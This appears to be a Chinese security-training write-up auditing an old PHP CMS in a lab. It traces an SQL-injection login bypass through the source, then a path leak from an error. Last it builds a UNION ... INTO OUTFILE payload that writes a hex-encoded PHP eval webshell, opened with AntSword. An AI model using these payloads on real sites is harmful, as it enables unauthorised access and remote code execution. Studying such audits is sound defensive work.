本文由掌控安全学院-君叹投稿
前言:老早以前的CMS了,随便看看,源码在附件里,一个挺简单的CMS,算是灰盒测试,CMS在另一台windows上搭建,代码在本地审计
1 后台sql注入 逻辑绕过登录管理员账户
exp: admin’ or ‘1’=’1
密码任意
2 代码审计
查看 /amdin/index.php
这里会加入传参 action=login
也就是 url 会变成
/admin/index.php?action=login
查看本页面并无关于login的代码
查看开头
包含了当前路径下的 /includes/global.fun.php
追踪过去,查看一下内容
这里有个 switch 语句
也就是当 action的值为login的时候
触发函数 function_login()
追踪函数 function_login()
我们可以看到这里是否能登录成功的标准为这条sql语句的返回值是否为True
这里使用了单引号闭合
select
*
from
magacms_user
where
username
=
'$username'
and
password
=
'$password'
limit
1
结合上我们构造的payload
admin’ or ‘1’=’1
最后的sql语句就是
select
*
from
magacms_user
where
username
=
'admin'
or
'1'
=
'1'
and
password
=
'md5(1)'
limit
1
返回值为True
可以成功登录后台
3 文件上传部分审计
这里有一个上传提交的功能
尝试文件上传
可以看到我们这里文件被提交到了 upload.inc.php 文件
查看upload.inc.php文件代码
我们发现这里会对上传文件的 Content-Type 类型进行检测
并且会将文件后缀名更改为 Content-Type 类型所对应的后缀名
但是我们看到开头
用于判断是否上传了文件的代码
是检测get传参中
action == upfile
那么如果我们传入 ?action=upfile
但是不进行文件上传
代码就会报错
如果目标服务器没有屏蔽报错的话
我们就可以得到路径
利用SQL注入写入木马
4 SQL注入
找到刚刚的万能密码登录点
尝试猜解字段数
构造payload: admin’ order by 1 #
报错了,但是成功登录
payload: admin’ order by 10 #
依然报错,但是登录失败
多次测试之后得到字段数为 5
5 写入木马
得到路径
C:/phpStudy/WWW/
构造exp
先将一句话木马HEX编码
exp: admin’ union select 1,2,3,4,0x3c3f706870206576616c28245f524551554553545b27636d64275d293b3f3e into outfile ‘C:/phpStudy/WWW/2.php ‘ — qwe
页面提示用户名密码错误
访问 2.php
木马成功生成
用蚁剑连接
成功getshell
如果普通目录没有写入权限,可以尝试一下写入到文件上传的路径
查看一下我们刚才上传的 jpg 文件
拖动图片,到上方标签栏空白处
这里就是上传文件的路径
总结
像这种代码根本没办法在密码处注入,因为密码会先被 md5() 函数处理
完了之后只能是一串字符串了,只能是在用户名处进行注入,再通过代码逻辑进行绕过从而登录后台,其实者应该叫万能用户登录吧?但是登录到的是admin用户,问题不大,反正是进去了,然后如果有权限限制,可以试试能不能写入到文件上传对应的那个路径,因为在WEB上已经把上传的文件类型限死了,这个CMS的文件上传我觉得只能结合文件包含漏洞来用,不太能直接传一个php吧,因为他改后缀啊…如果有大佬能绕也请评论区告知,带带弟弟吧,呜呜。
原文始发于微信公众号(掌控安全EDU):万众CMS从SQL注入到getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论